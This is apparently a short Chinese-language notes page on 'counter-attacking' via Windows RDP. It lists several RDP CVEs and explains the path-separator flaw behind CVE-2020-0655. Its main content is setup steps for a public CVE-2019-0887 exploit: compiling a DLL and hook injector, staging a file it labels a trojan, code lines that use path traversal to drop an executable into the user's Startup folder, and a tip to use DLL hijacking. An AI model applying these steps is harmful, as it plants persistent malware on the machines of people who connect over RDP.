Windows RDP 反制

CVE-2022-21893

CVE-2022-24533

CVE-2020-0655

CVE-2020-0655 是 CVE-2019-0887补丁引发新漏洞
漏洞产生原因
在基于Unix的系统中，使用的路径分割字符是/，而在Windows系统中使用的是分割字符为\。但Windows最早是支持/和\的。因此，执行任何文件操作都会遇到这两个分隔符。研究人员发现的漏洞是一个检查的实现漏洞。许多核心Windows功能的开发人员可能忘记了Windows系统也支持/字符，所以会重新实现只支持\的文件路径逻辑。

CVE-2019-0887

项目地址：https://github.com/badboycxcc/CVE-2019-0887
编译CVE-2019-0887，重命名为winhlp.dll
编译 Install_Hook，重命名为hook.exe

小心，它们必须用 x64 编译

c:\windows\hook.exe
c:\windows\winhlp.dll
c:\windows\winhlp64.exe # 木马

需要修改写入位置的话改下面配置文件

# CVE-2019-0887/dllmain.cpp
WCHAR  evalfile[] = { L"C:\\windows\\winhlp64.exe" };
WCHAR  efile[] = { L"C:\\windows\\system32\\..\\..\\..\\..\\..\\../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/winhlp32.exe" };

# Install_Hook/ConsoleApplication.cpp
LoadDll(pid, "C:\\Windows\\winhlp.dll");

小提示：可以使用dll劫持

参考资料

https://research.checkpoint.com/2019/reverse-rdp-the-hyper-v-connection/

CXAQHQ